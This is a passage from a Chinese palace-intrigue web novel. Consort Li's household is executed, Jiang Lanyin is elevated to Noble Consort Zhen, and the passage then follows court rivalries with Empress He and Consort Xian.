胸口剧烈起伏几次,丽嫔睁开眼睛。眼里没了恐惧,只有愤怒,还带着些许癫狂。她冷笑:“江嫔,你是个什么东西?也配我恨你?我不过是不喜你,不喜你坏了皇上的圣誉!我是为皇上除害!你本就是太子准妃,怎配调头侍奉君父?江嫔,你该死!你该死!” 她大声吵嚷着,眼中全是恨意。 好恨,好不甘心。 她不过是棋差一着!没想到钻进江澜因房中的,竟是死而复生的太子罢了! 她只是不知道这一点! 若是普通侍卫,江澜因未必真熬得住那媚药!她早晚就范,一定会被皇帝发现,处死。 不是丽嫔的错,她只是运气不好,不知道…… 所幸,她一早就叫秋月去通报何皇后。也算在何皇后处有功,皇后会放过她的家人…… 一个念头尚未转完。 御前太监苏忠远声音自门外想起,十足的恭顺: “皇上,丽嫔娘娘,江嫔娘娘,奴才发现有人鬼鬼祟祟,要出瑞福殿。奴才已经把人带来了。” 顾辰枭冷笑:“带进来。” 秋月被推搡进来,扑通一声跪在地上。 她脸色惨白,裙摆脏污了一大片,是奔跑时不慎摔的。 她没能把太子还活着的消息带出去。 丽嫔张了张口,终是什么都说不出来。只余眼泪,流进嘴角,又苦又涩。 顾辰枭看着丽嫔,毕竟宠爱过她一阵子,见她如此惨相,只觉十分可怜。 他声音极温和地向丽嫔解释道:“太子遇刺,死遁,是朕许他这么做的。朕在查背后的凶手。丽嫔,你误会太子和因因了。” 这声音太柔和,让丽嫔产生了尚有希望的假象。 是啊,此事说到底,也不过是误会…… 下一刻,皇帝的声音依旧那么温和:“事情还未查明,太子活着一事,不能叫旁人知道。” 丽嫔:“是、是,这自然……” 顾辰枭看着她,眼神闪动,如夜空中最遥不可及、最神秘的星辰,闪烁冰冷光芒。 男人终是不忍。 他抬手,双手从身后捂住江澜因的耳朵。 才道:“太监小温子,宫女绣荷,背主不忠,吃里扒外,拖出去,寸戮。瑞福殿正殿上下,亦是从犯,割断舌头,拖出去打死,一个不留。” 秋月身子一软,裙摆更脏污了。 她想说她是皇后的人。可,不敢。 “至于丽嫔,”皇帝顿了顿,依旧是淡淡的语调,“留她一具体面的全尸吧。” 皇帝捂着江澜因耳朵,动作轻柔,她能听见些许。 听到“体面”二字,她差点忍不住笑了。 什么给丽嫔体面?那是给皇帝自己的体面,为他文过饰非罢了。 历朝历代的后宫争斗,一样的血流成河,史书却极少记载。不外乎是为了维护皇帝的圣誉。 皇帝放下手,对江澜因:“你的西配殿,这些下人也不好。朕再叫内务府挑好的给你。” 他这话一出,地上众人瑟瑟发抖。 他们刚听完丽嫔正殿的那些下人的下场,不想这么快,又轮到了自己。 只怕,也是必死无疑…… 江澜因大眼睛一闪,怯怯开口:“皇上,他们伺候得很好,求您别调他们走,还把他们留给因因,好不好?” 开什么玩笑? 春枝、雪色好容易都一一摸清了这些人背后的主子,江澜因也想好了他们都该怎么用。 皇帝又要派新人来? 那可不成。 江澜因莹粉色的小舌头飞快地舔了一下稍嫌干燥的唇,好容易鼓起勇气的模样,“皇上,臣妾不好时,他们对臣妾不离不弃,伺候臣妾起居。如今,臣妾好了,就撵了他们,只怕宫中议论。” 顾辰枭定定看着江澜因。 忽地笑了。 这小姑娘……学会了借宫中流言,成全自己。 还不算太笨,有进步。 压了一整夜的怒气,被江澜因搅散。 顾辰枭:“朕答应你。” 第70章 赐她封号,迁宫 第七十章 赐她封号,迁宫 “多谢皇上。” 江澜因小脸微红。或许是因为自觉第一次在皇帝跟前使心机,她咬着嘴唇,怯生生的。一双大眼睛里,惊喜中带着些许不安。 小姑娘实在是太单纯了。 靖威侯府忽视她,竟把她教得没一点心机。 单纯得可怜、可爱。 室内,温暖,馨香。 那混在香里的媚药,本该散尽。顾辰枭却觉小腹微微一紧。 他看向江澜因。 小姑娘苍白,瘦弱,一小片锁骨从微咧的衣领中露出来,散发莹润光泽。 顾辰枭微微别过脸去。 他是皇帝,从来不必克制自己的欲望。 这是第一次。 孙太医刚才说了,江澜因这几日吃不好睡不好,本就忧思郁结,更兼撞破了头,又刚中了药,身子虚弱得很。 不宜侍寝。 顾辰枭深吸一口气,起身。不叫江澜因注意到他身子的异样。 “因因,朕本是叫皇后今日就解除你的禁足。可皇后病了,不能理事。” 何皇后毕竟是中宫,皇帝也不愿逼得她太过。想着各退一步,江澜因年轻,再等一等,也无妨。 不想,只不过多等了一天,竟就生出了这样的是非! 让太子摸到瑞福殿里,妖言惑她,要她自请禁足! 看来,此事真是一日都再等不得。 顾辰枭沉声,“传朕的口谕下去——” 御前太监,瑞福殿下人,里里外外,跪了一地,都凝神静听。 “江嫔秉性柔嘉,夙娴礼度。即日起解其禁足。” “另特恩允迁居翊坤宫,为主位,掌一宫事宜。” 解她的禁足,叫她搬去更轩敞华丽的翊坤宫中,作一宫的主位娘娘。 已是莫大恩典。 皇帝犹嫌不足,他回首,向江澜因说道:“因因,朕还要补偿你。” 他又道:“江嫔性行贞静,夙夜恪勤。今赐封号‘贞’,封贵嫔,以彰其德。” 竟是赐了江澜因封号,又升她的位份。 大盛天子可有四妃,六贵嫔。如今贵嫔位上,止得了三人。江澜因是第四个,可因她有封号,身份地位还在另三人之上。 一举成为嫔位之首。 再往上,就是妃了。 江澜因面上犹自懵懂,还没觉出什么。 她身边的宫女、太监惊喜顿首,“谢皇上!皇上万岁万岁万万岁!” 颂圣声中,顾辰枭面色稍回缓。 谁说他护不好自己的女人? 他是九五之尊,这天下之主,他能抬江澜因到无比尊贵的位置上!只有他,能做到。 太子想封赏他自己的女人,还早着呢。 顾辰转过头来,对着似是惊喜得傻了,忘了谢恩的江澜因,格外的温和、宽容,“因因,你还想要什么?朕补偿你,嘉赏你。” 江澜因身子微微一颤,“皇上,臣妾……确有所求。” 皇帝摆驾回宫后。 瑞福殿偏殿里依旧灯火通明。 明亮、温暖的室内,江澜因高高上座。 太监、宫女在她眼前跪了一地。春枝、雪色打头:“恭喜娘娘,贺喜娘娘,娘娘荣升贵嫔之位,恭祝娘娘往后前路,荣华似锦,福寿安康。” 江澜因声音淡淡的:“起来吧。都跟雪色出去,领赏。” “多谢贞贵嫔娘娘!” 只有春枝留下,她窥着江澜因神色有些不对,“小姐,为何不悦?可是太累了?或者头痛?” 她担忧地看着江澜因头上的伤。 江澜因抿唇,没有说话。 上辈子,她被文氏吊在梁上,耳边听着娘的话: “江澜因,你莫要怪娘。如今太子登基,要封你做贞妃,以嘉赏你为皇室守贞。” “可嘉奖了你,你表妹怎么办?外人会说她不安分,不贞静。她吃了那么多苦,这对她不公平。” “你死了,皇上还会照旧封你做贞妃。你放心去吧。” 一个“贞”字,要她搭上一辈子,还要了她的一条命。 重生一世,顾辰枭又用这个字做封号,送给她。 她不喜欢。简直是厌恶至极。 可江澜因知道,如无意外,皇帝赐予的封号会一直陪伴着她,从贵嫔,到妃,甚至是贵妃。 甚至,直到死。 她的谥号,都会带着这个“贞”字! 江澜因好看的眉眼间,闪过一丝戾气。 想去掉这个字…… 除非,她做了皇后。皇后只有一位,没有封号。 她还要活得比皇帝长。 才有机会把这个字,从史官笔下,彻底删除。 江澜因抬头,目光穿过瑞福殿宫门,看向翊坤宫方向。 又越过翊坤宫金灿灿的瓦顶,看向坤宁宫。 何皇后身下那个凤位,且等着,她迟早要一步一步爬上去。 趁着下人都在外面喜气洋洋地领赏。 江澜因:“为我更衣,我要出去一趟。” 瑞福殿偏厢有多热闹,整殿就有多冷肃。 皇帝金口玉言,丽嫔的下人都被带出去受死。 丽嫔侥幸得了“全尸”。一个御前太监将一套宫嫔的殓服扔在她脚下,绛紫色万字纹的料子,衬得丽嫔脸色惨白得瘆人。 那太监开口:“劳烦娘娘,先穿上吧。穿上好体体面面地走。” 省得死后再为她更衣,麻烦。 丽嫔脸色死白,眼眶发红,“贱奴,你胆敢……” 御前太监刚要还口,身后传来一道声音:“劳烦公公,让我们娘娘与丽嫔娘娘说几句话。” 沉甸甸的银锭子递过来。 那太监立刻变了脸,“贞贵嫔娘娘,您请,您请。只是,这丽嫔的性子如泼皮一般,您千万小心她暴起伤人。” “无碍的。” 江澜因淡淡笑着,让春枝带那太监出去,从外关上了门。 丽嫔瘫坐在地上,脚边是自己的殓服。看到江澜因,她满目恨意,“你高兴了?你听见没有,外面,正杀人呢!” 一阵夜风吹来,扑在背上,透心的凉。 丽嫔:“你可知,皇上为何要为你迁宫?呵呵……”她声音尖锐地笑着,“这瑞福殿,我的下人有百十来口,今日一朝被戮,都是因为你!因为你!” “江、澜、因!” 她面目扭曲,一字一句叫着江澜因名字,“就算你往后爬的再高,升得再快!你一辈子,都不敢再踏足瑞福殿!你要绕着走!这里有冤魂,等着索你的命!” 夜空中,突地一道旱雷击下! 白光一闪,照亮江澜因的脸。 丽嫔看到—— 她低垂着眉眼,睫毛下闪过一道荧光。似是哭了,细看方知,那是一星锐芒。 樱粉色的唇角微微上挑,竟是在笑! 被雷光照亮的那一侧脸,神情似悲悯。另一半脸沉浸在黑暗中,眼角眉梢,却尽是讥讽。 “丽嫔,你错了。” 江澜因清冷的声音响起。 她不避讳什么,伸手推开身侧那扇窗。远远可见,御前太监正带着侍卫,押着丽嫔的下人,前去受死。 江澜因:“他们就要死了,你害的。” “是你,非要挡在我前面。” 她很平静地说出这番话来,丽嫔却只看了一眼那些朝夕相伴的宫人背影,就崩溃了。 她按着心口痛哭,“我也不想,我和你无冤无仇,我也不想的!你可知道,我家人在皇后手上,我也是被迫的……” 江澜因眉梢一动。 她弯下身,拾起那件殓服,递给丽嫔。“我知道。” 丽嫔愣了,“你知道还、还……” 还能如此心狠手辣,一丝愧疚都没有? 江澜因:“挡我路的人,就该死。我不在乎你有什么苦衷。” 第71章 奴婢就是殿下的解药 第七十一章 奴婢就是殿下的解药 丽嫔看着近在咫尺的江澜因。 绝美的小脸,无辜小鹿一般乌溜溜的眸子。果然如她说的一样,没有一丝恐惧,一丝愧疚。 丽嫔颤抖着手指接过殓服,紧紧攥在心口,崩溃大哭。 她没有再说话。 御前太监进来之前,已经自己把殓服换好,就这么结束了自己的一生。 回到偏殿,内室里,已有人在等着江澜因。 是苏忠远送来的。 绣荷。 她翻身跪下,哽咽道:“多谢贞贵嫔娘娘救命之恩。” 几个时辰前,小温子去丽嫔的正殿,绣荷只犹豫了片刻,转身就进了江澜因的偏殿。 将她和小温子都是丽嫔的人,要寻江澜因错处的事,一五一十都说了。 “……奴婢也是没法子,一家老小都捏在丽嫔手里。她一句话,要奴婢一家子的命。可江嫔娘娘待奴婢们好,奴婢不忍心,求娘娘……求娘娘救命。” 江澜因让贴身大宫女扶她起来。 为难道:“你是个孝顺的,我也想救你。可丽嫔一日不倒,我一日为她压制,恐怕有心无力。” 绣荷猛地抬起头,“娘娘,您说怎么做,奴婢唯您马首是瞻!” 江澜因看着她清秀的面庞,笑了,“需得你冒个险。但我自信可保下你,你可愿意?” “奴婢……奴婢愿意!” 如今,御前太监苏忠远监刑,果然放了绣荷性命,还要送她出宫。 绣荷感激涕零,从袖中掏出油纸包,里面正是丽嫔给她的那一截线香。 那东西药性太重,若真点燃,江澜因和太子未必抵挡得住。 江澜因换了药性较轻的,关起门窗,特演了这出戏。 让春枝收好线香,江澜因又给了绣荷赏银,“出宫后,带你家人离京远走。” 两人都心知肚明,丽嫔背后是何皇后。何家如今势大,若被他们盯上,绣荷没有好下场。 江澜因又道:“我嫁妆里有百年人参,用红布包好,给绣荷带出宫去。” 绣荷一惊,“娘娘,奴婢不配……” “本宫听说你娘久病,可用人参提气。你拿着吧,本宫白留着,也是没有用。” 江澜因自己有文氏这个娘,胜似没有。 却愿意看旁人一家子母女团圆的戏码。 “拿去吧。”江澜因淡淡地,别过脸去:“好生奉养你娘。能一家子团圆,比什么都强。” 绣荷眼眶发红:“多谢娘娘!多谢娘娘!” 她顿了顿,“奴婢……在宫中多年,还有些故人,若他们可用,还请娘娘,多加照拂!” 江澜因看了她一眼,笑了,温和道:“本宫知道了。” 丽嫔在何皇后手下,受尽了骨肉分离,为人辖制的苦。却把这苦,变本加厉地施加给别人。 如今,两个人,都解脱了。 是大好事。 江澜因挑了挑唇角。她看着窗外夜空中,一道接一道的旱雷,只觉心中十分安稳。 升了位份,她才有了入宫的实感。往后,她还会一路向上,再向上。 这一局,唯一让江澜因不甚满意的,就是—— 太子。 瑞福殿血流成河,顾言泽却只是挨了皇帝几句重话,几乎是毫发未伤。 什么王子犯法与庶民同罪? 不过是庶民的可悲幻想。 江澜因眼底划过一丝狠意。 她看到顾言泽那张脸,想到前世,少女情窦初开,真的对他动过心。还为此搭上了一辈子。 江澜因觉得恶心! 太子太安分了可不行。 就算他胆怯,不敢出来,江澜因也要逼他出来。要把东宫闹个鸡犬不宁! 东宫。 顾言泽寝殿内,没有点灯。 他被人送回来,浑浑噩噩,倒在榻上。耳中能清晰地听见一声接着一声的雷鸣,还有…… 落锁声。 顾言泽苦笑。 他堂堂大盛太子,国之储君,居然在自己的东宫里,被软禁了。 一时之间,心中悲愤得几乎要吐血。 且吸进体内的药,尚未纾解,烧得身子由内而外地灼热,难受,几乎要抵受不住。 太医院调配百毒清,尚需要时间。 父皇让他这么熬着,是为了惩戒…… “吱嘎——” 一声轻响。 寝殿的门被推开。 顾言泽疑惑地撑起身子,“谁?” 话一出口,才觉察出嗓音已经沙哑得不成样子。 “太子殿下,奴婢、奴婢奉命,来送药……” 一道怯生生的声音响起,原是个小宫女。因年纪小,没见过这种阵仗,有些怕的模样。 百毒清制好了? 顾言泽:“药拿来。” “是、是……” 宫女迈着小碎步,一步步靠近,身上幽香扑鼻而来。 顾言泽拧眉:“药放在案上即可,孤自己……” 他声音猛地哑住。 惊觉那小宫女竟坐进了自己怀中。 单薄衣料挡不住肌肤的热度,传导到顾言泽身上,激起一阵阵战栗。 顾言泽咬牙,低喝:“你……干什么?不怕死吗?” 小宫女的声音,多了一重媚意,“殿下,奴婢就是您的药。求您,享用了吧……” 体内蓬勃的热意,熬得顾言泽双眼通红。 他知道,这小宫女能进东宫,敢投怀送抱…… 是父皇的意思。 父皇这是要……让他忘了因因! 拼劲全身力气,顾言泽一把推开那小宫女。 “滚出去!孤不用你!” 他的因因……他的因因,今日在父皇面前,是不得不那么说,不得不曲意逢迎,好保命! 他不会这么简单就放弃江澜因的,绝不! “滚,滚出去!” 眼看着那小宫女斯斯艾艾地退出寝殿,顾言泽才被抽空了力气似得,倒回榻上。 “因因、因因……” 受不住的热意中,他闭上眼睛,随着自己动作,呼吸渐粗重。 就好似,她正抱在他怀中。 另一边,靖威侯府。 自江澜因进宫,几日来,侯府接到的,全是噩耗。 说她一入宫就冲撞皇后,被禁足。说她不得皇上宠爱,又惹事端。 侯府门外的守卫,如铜墙铁壁一般,未减少分毫。 短短几日,靖威侯的头发都花白了。 他不被允许出去,整日只能在院中闲步,望天。 文氏则是照看江慎,文师师,咒骂江澜因。 “我怎生出了这么个祸胎来?害了她爹、大哥、表妹,还要害死我这个娘!要害死咱们一家子啊!侯府的灾祸根子,原都在江澜因头上!” 一开始听着话,靖威侯还会呵斥:“住口!” 如今,也跟着附和,“那个逆女,恨不得打死她……” 江慎还起不得病榻。 文师师有文氏护着,倒渐渐敢出来走动。听到靖威侯的话,也接话道:“因因姐确实过分,明知家里因她遭了灾祸,入宫还不知谨言慎行。只怕,迟早要出大事的!” 她话音未落。 自空中劈下一道旱雷。 响彻天际的响动声中,侯府大门中开。 御前太监深夜传旨: “着靖威侯、侯夫人接旨!” 第72章 她要好生斗下去 第七十二章 她要好生斗下去 靖威侯腿一软就跪下了,“这、这……江澜因那逆女,在宫中闯出了什么祸事?老公公,侯府、侯府是无辜的,我们可是什么都不知道啊!” 文氏更是哭天抢地,“江澜因害人!就不该、不该送她入宫!” 传旨太监疑惑,“侯爷跪早了。不设香案接旨吗?” 靖威侯一愣。 太监:“是天大的好事,又不是要抄家杀头……” 好事儿? 靖威侯一叠声让让:“快、快!设香案,服侍本侯更衣!”他狠狠瞪文氏一眼,“礼都全忘了,你这个侯夫人是怎么当的?!” 文氏气得说不出话。 片刻后,香案设好,侯府连江慎在内,都到齐,跪下。 太监才展开明黄色圣旨: “奉天承运皇帝诏曰:江嫔澜因秉性柔嘉,夙彰淑慎。自入宫闱,德容言功,特晋封为贵嫔,锡以封号曰‘贞’。以彰其坚贞粹质,玉洁松贞。” “另,贞贵嫔纯孝天成,眷念亲闱。朕特允所请,准其父靖威侯江殊城,其母诰命文氏入宫观册封礼,以彰孝思而示殊恩。” “钦此。” 太监等了会儿,没听见下首有动静,疑惑道:“侯爷,不谢恩吗?” 靖威侯这才反应过来。 江澜因……不仅没惹祸,还升了!她升了! 入宫短短几日,从嫔升到贵嫔,又获封号。脚踩西瓜皮都没她升得这么快! 靖威侯难以置信:“江澜因她……不、不,是贞贵嫔娘娘,贵嫔娘娘她,很得皇上圣心?” 传旨太监面颊抖了抖,“侯爷这话,咱家不明白。自然是皇上喜欢娘娘,才升娘娘的位份。怎么,侯爷、侯夫人不高兴?” “怎会?” 靖威侯跳起来,“我这是……高兴得傻了。” 他又重新跪下,恭恭敬敬接过圣旨。问明了册封典礼是三日后。 亲自把那太监送出门去,靖威侯才看到,守在门口的铁甲卫,也随太监撤走。 侯府解禁了! 江慎因身上有伤,大半夜被扶起来接旨,折腾这一回,气得脸色发白。 “一个贵嫔而已,什么了不起?刻意深夜传旨,惊扰爹娘。江澜因向来不孝……” 话未说完,被靖威侯一个耳光劈在脸上。 “住口!你妹妹是二品贵嫔,位同九卿!你是个什么东西?几品的带刀侍卫,敢如此猖狂?更别说,如今无品无级,只是个庶人!” 江慎面色涨得通红,气得粗喘,却不敢反驳。 文氏连忙上来拦着,“侯爷怎么这样?慎儿是心疼你我大晚上受了惊吓!江澜因本就不该如此,不是大事,为何不能等明日再说?” 靖威侯举起手来。 文氏这几日挨打挨得多了,下意识缩了缩脖子。 靖威侯:“不打你,是怕三日后进宫观礼,你脸上有伤不好看。我给你留颜面,你别不知好歹!” 他语气十分严厉,又狠狠瞪了文师师一眼,“贞贵嫔娘娘是侯府嫡女,你是什么东西?住在她家中,敢说她的不是?再叫我听到一句,我叫人把你送回文家。” 文师师躲在文氏身后,脸色惨白,眼中闪过不忿。 江澜因不过是个嫔!贵嫔也是嫔!在她上面还有四妃,还有皇后! 可她文师师若是与太子成事,她就是太子妃,未来会是皇后。 江澜因……不过是因为太子不要她了,才赌气进宫。有什么了不起? 她虽未说话,神情却被靖威侯看在眼中。 如今江澜因得势,靖威侯对文师师严厉至极:“谁许你出来的?你当侯府是你家?来人,请表小姐去偏厢禁足!她要是不知道什么是禁足,我今日好好儿教她!” 文师师又被关了起来。 这次,她没有哭。 三日后是江澜因的册封礼,她一点都不羡慕。因为娘告诉她,她的亲爹,已经在路上。 三日,也该抵京了。 这一夜,盛京被旱雷惊扰了一夜,多少人都不曾睡好。 第二日倒是个大晴天。 江澜因一早起来,两个丫鬟为她梳妆。 雪色终是有些忍不住,“小姐,皇上分明是要补偿您,您想要什么都行。为何非要为侯府求情?还要请老爷夫人进宫观礼……” 她一个小丫鬟都看得清楚。 老爷、夫人根本不疼爱小姐。 江澜因笑了笑,她心情轻盈、愉悦,“没听说富贵不还乡,如锦衣夜行?我得了体面,自然想叫爹娘也知道。” 再说,册封礼上,江澜因还有个惊喜,要给靖威侯和文氏看。 沉璧办事回来,从周嬷嬷手里带来了文氏写的那封信。江澜因就知道,文师师的亲生父亲,就要入京了。 前世,顾言泽携文师师回京时,太子死而复生,在前朝后宫都激起轩然大波。 不是没有反对的声音。 尤其是顾辰枭骤崩,顾言泽继位后,后位很是空悬过一段时日。 朝中不少人抨击文师师是无媒淫奔,不配做中宫皇后,顶多做个妃妾。也有人提出,真正的皇后,该是在甘露寺守节十年的太子妃江澜因。 可不久,这些声音就被人强力压下。 江澜因死了,文师师顺利登上后位。全是那人的手笔。 前世,江澜因甚至未能见那人一面,就死在了亲娘手里。这辈子,江澜因要跟他好好儿斗一斗。 梳妆罢,江澜因看着铜镜中的自己。 肤若凝雪,眼含秋水,是女子最美好的年华。 这一世,她会过得无比精彩! 坤宁宫中。 何皇后寝殿,她刚知道昨夜丽嫔因病暴毙,江澜因升位、即将迁宫。 “为何无人告诉本宫?都当本宫是死的吗?” 下首的宫女太监跪了一地,“是、是皇上不许奴婢们通传,说娘娘病着,怕打扰娘娘休息。” 何皇后气得脸色泛白,眼前一阵阵地发晕。 昨日她是“病了”,是耍性子,不愿这么快撤销对江澜因的禁足。 本想病上十天半个月,反正江澜因也不敢不等。 不想昨夜又出了这样的幺蛾子。皇帝竟直接传了口谕,越过自己这个中宫,升江澜因的位份。 好啊!真好! 这和直接打自己的脸,打何家的脸,有什么区别? 何皇后愤怒背后,还隐藏着些许自己都未察觉到的,不安。 丽嫔好好儿的,怎会一夜之间就暴毙? 她到底是怎么死的? 死前,可说了什么? 正想着,有宫女从外间撩帘子回禀:“皇后娘娘,各宫嫔妃都按例来请安,已候在院子里了。” 何皇后正烦着,“让她们等着!” 第73章 贤妃 第七十三章 贤妃 何皇后的规矩,嫔妃请安必须在院子里候着,等她这个皇后叫进。 以此立威。 今日天气虽晴好,却有风,极冷。 等到皇后身边的大宫女素月掀帘子出来时,不少妃嫔的脸蛋都被寒风吹红了。 素月轻咳一声,院中登时鸦雀无声。 “皇后娘娘起了,各位主儿,请进吧。” 先是四妃。 四妃中,婉妃是太后娘家侄女,如今陪着太后在西山皇家寺庙清修,等闲不回宫。 其余三人中,容妃病了,今日也没来。 剩下两个,纯妃打头,贤妃居次,一一进花厅跪下向皇后请安。 她们没起身,紧接着进来四位贵嫔。 是江澜因打头,身后跟着另外三位。也都一一按次序跪了。 接着是嫔,再往后,便是贵人、才人等无算。 一时间,皇后的花厅中花团锦簇,一眼望过去,看不尽的美貌和荣华。 何皇后的眼睛,只盯在江澜因身上。 好半晌,才淡淡一句:“都是自家姊妹,不必多礼。起来吧。” 各宫嫔妃才被贴身丫鬟扶着起身,一一归了座次。 江澜因是新晋妃嫔,座次被安排在纯妃之下。江澜因便知道,这纯妃就是妃位中居首的。 她是皇后的人。 刚坐下,纯妃便开口:“江妹妹好手段。这才入宫几日,更兼禁足,竟还能让皇上升你的位份,嘉赏你。真是好能耐。” 她一扬手里的帕子,眼风朝排在后面的那些低位嫔妃们看去,嗤笑着,“这一届秀女,无人能出江妹妹其右。江妹妹的手段,你们合该好生学一学。” 这话就是说江澜因禁足还不安分,勾引皇上。 江澜因听了,淡淡一笑,“妹妹有什么?比不得纯妃姐姐,和皇上是自潜邸以来的情分,十多年了,又育有二皇子,才慢慢儿从嫔位走到妃位上。姐姐的路,才是一步一个脚印,走得扎实、稳当!” 讽刺纯妃是因子封妃,年纪大,升得慢。 说到纯妃的痛处,她变了脸色,重重甩了一下手中帕子,别过脸去不再说话。 何皇后瞥她一眼,心中骂她没用,口头上的功夫不如江澜因。 “贞贵嫔,你好伶俐的口齿,本宫喜欢。”何皇后淡淡道,骤然抬眼,眸光冷锐,“这么伶俐的一张嘴,不如好好说一说,丽嫔她到底是怎么死的?” 皇后这话一出,室内一肃。 有些消息不灵通的低位嫔妃,这才是听闻丽嫔死了。 前几日还在何皇后面前牟足了劲儿表演,活色生香的丽嫔,就这么……死了? 众人惊疑不定的目光,都看向江澜因。 她二人同居瑞福殿,却一个死了,一个高升。不会是……江澜因害了丽嫔吧? 各异的目光都刺在江澜因身上。 若是旁人,早如坐针毡。可皇帝不在,江澜因懒得装,她不在乎旁人怎么看她,只淡淡道:“臣妾不知。” “你不知?”何皇后以为江澜因年纪小,第一次见死人,心虚,惊惶,不住追问道:“你与她住得那么近,半夜里人抬出去,你怎会不知?” “臣妾睡觉,一向实,打雷都不醒。还因此事请安迟了,被娘娘责罚。娘娘都不记得了?”江澜因淡淡反问,“皇后娘娘关心丽嫔姐姐,不若问问太医院?太医院都有存档的。” 一句话,堵得何皇后再往下问不得。 江澜因似没瞧见皇后黑沉的脸色,又道:“再不然,问问皇上呢?昨夜,皇上也在……” 余音悠悠,在花厅里散去。 无人敢接。 包括何皇后。 她要是敢去问皇帝,也不用在这里敲打试探江澜因了。 胸口起伏两次,依旧压不下躁火。何皇后:“贞贵嫔,别以为皇上宠你,你就能为所欲为。你的册封礼,本宫还没想好怎么为你好好儿办一场呢!” 何皇后直视江澜因,“皇上可说了,你的册封礼要怎么办?” 无论怎么办,都要她这个皇后来办。 想叫江澜因在册封礼上丢丑,没脸,再简单不过的一件事。 江澜因只是淡淡地笑,“皇后娘娘,皇上说,该怎么办,就怎么办。” 你看着办! 何皇后刚要开口。 一旁,贤妃娉娉婷婷起身,“皇后娘娘这阵子身子不好,皇上昨日还说该歇着,好好儿养一养。恰好臣妾的身子好了,不若这册封礼,还交给臣妾来办。” 说罢,她回头对江澜因柔和一笑,“说来倒也巧,江妹妹入宫的册封礼,本该是姐姐经办。可姐姐身子不争气,竟病倒,延误了。如今再拾起来筹备,也比娘娘重新接手来得容易。请皇后娘娘允准。” 何皇后一张脸紧绷,冷冷看着贤妃。 贤妃又道:“娘娘若委实决断不下,不若臣妾再去问问皇上?” “不必了。” 何皇后揉了揉额角,皱眉,“不过是贵嫔的册封礼。贤妃想操持,就去办吧。只是,贞贵嫔现在是皇上心尖尖上的人,贤妃,你办事,可千万小心,别惹怒了她,叫她在皇帝跟前告你一状。” 这话,似玩笑,又似认真敲打。 说江澜因得宠,要激贤妃醋意。贤妃听了,只是淡淡地笑:“皇后娘娘多虑,江妹妹不是那样的人。” 在皇后面前,维护江澜因。 贤妃出身河东闵氏,也是高门。大盛一朝,出过两位皇后,是赫赫有名的后族。 何皇后不愿和她闹得太僵,冷冷地挑了挑唇角,“既如此,就这么定下。本宫累了,都退下吧。” 众人散出来,三三两两地跟各自交好的嫔妃同去。 只有江澜因,是一个人,身边只有春枝一个丫鬟。 “江妹妹,留步。” 江澜因回头一看,是贤妃,身边跟着向来与她交好的海贵人。 贤妃身材娇小,面容柔美,一对淡淡的远山眉烟水迷茫,远观竟有些像庙里的菩萨,自有一副悲天悯人的气度。 她身边的海贵人个子高挑,身材妙曼,一张脸清秀美丽。 两人对江澜因露出慈和的微笑。 贤妃:“江妹妹,本宫知道你一进宫就遭禁足,心中对皇后娘娘有气。可皇后娘娘正位东宫这么多年,你今日不该冲撞她的,会落人话柄。” 她语气和缓,一副真心实意为江澜因担忧的模样。 江澜因行过礼,浅笑:“贤妃姐姐说笑了,妹妹哪有冲撞皇后娘娘?妹妹自己怎么不知道?” 贤妃面上笑容一滞。 江澜因又道:“就算真有什么,皇后娘娘仁慈,想必也不会和妹妹计较。贤妃姐姐,你说是吧?” 第74章 结盟 第七十四章 结盟 江澜因走后。 贤妃面上的笑容落下来,盯着她的背影,不说话。 海贵人恨恨道:“姐姐,你理她做什么?她张狂,不知礼,早晚有人教她什么叫做分寸!” 语气中,浓浓的恨意。 海贵人与江澜因没有过旧怨,只是看不惯她不肯与贤妃交好。 贤妃面上神情缓了缓,回身拍拍海贵人的手,“罢了,人各有志,强求不得。” 既然江澜因不愿依附她,那这升贵嫔的册封礼,她可要好好儿地给江澜因办一场了。 另一边,春枝扶江澜因离去。 走至无人处,春枝才掩不住脸上的担忧。她低声道:“小姐,咱们初进宫,在宫里没有依仗,侯府也帮不上。您为何不与贤妃结盟?奴婢听说,河东闵氏,有能耐和何家斗一斗。” 不然,靠着靖威侯府?只怕还不等出手,就被何家碾碎了。 更何况,侯爷、侯夫人和小姐,都不是一条心。 江澜因一个人,在宫中的路,太难走。 江澜因听了,只是笑,“闵氏如今大不如前。虽有威名在,族中却无实权。不然,贤妃也不会这么多年了,只是个贤妃。” 连贵妃都不是。 “更何况,你看她身边,也只有一个海贵人。” 宫中嫔妃,依附皇后的多。 贤妃身边,只有一个海氏,区区贵人。 江澜因:“海贵人伴驾多年,没升过位份。她依附贤妃,贤妃要不是不帮衬她,就是没这个能耐。” 这样的人,纵是结盟,也无用。 春枝:“小姐懂得真多。” 江澜因摇头,“是周嬷嬷开的小灶,我用心记着而已。” 何况,她死过一次,总不能一点脑子都不长。 春枝还是担心,“可单打独斗,太难。” 更何况,小姐身边,还有太子这个不定时炸弹。还要防着他弄鬼。 宫中没人帮衬小姐,怎么行? 一阵风吹来,碎雪在江澜因面前扬起。透过晶莹的雪粒子,江澜因看到了一个人。 她笑了,“她才是咱们将来的盟友。” 坤宁宫中。 何皇后静静斜依在榻前,身边服侍的下人,一丝声息都无。 一个年轻宫女手脚不稳当。 “叮——” 碧玉茶盏圈足与赤金杯托碰撞出一声轻响。 在寂静的室内,被无限放大。 何皇后抬头。 那宫女吓得双膝一软,要往地上跪。张口便要求情。 皇后淡淡看她一眼,收回目光。 顷刻间便有太监冲过来,一人反剪着那宫女胳膊,另一个手刀斩落,打晕了她。 悄无声息地拖了出去,死活不知。 有人倒了霉,殿内氛围竟是松快了些。都知道何皇后处置了一个人,不会无辜再处置下一个,都松了一口气。 新提拔到身边顶替冷嬷嬷的素月:“娘娘别急。那江氏年纪小,轻狂放浪也是有的。如今皇上对她,不过一时的新鲜。咱们皇上本就不如何重欲,等新鲜劲头过了,娘娘再处置她。” “你说的,本宫岂能不知?叫贤妃去筹备册封礼吧,本宫要寻着机会,让霖儿回京。” 她亲生的三皇子顾承霖,为避嫌,十五岁上就去了封地。 这么多年,母子两个未见过一面。何皇后怎能不思念自己的儿子? “传信给爹和弟弟。如今太子死了,也该本宫的霖儿回京了!” 只要她的霖儿能回来,后宫的这些,都是小事。皇后可以不在意。 “是。”素月恭敬应道,她顿了顿,又说:“只是……丽嫔死了,娘娘的帮手,少了一个。” 宫中妃嫔虽依附皇后的多,可多是没用的东西。 要不是就是不得宠,在皇帝跟前说不上话,还不如皇后。 要不然,就是皇后不能全然相信。 素月:“这波秀女中,皇后娘娘可有觉得入眼的?咱们可以帮她一把。” “不行。” 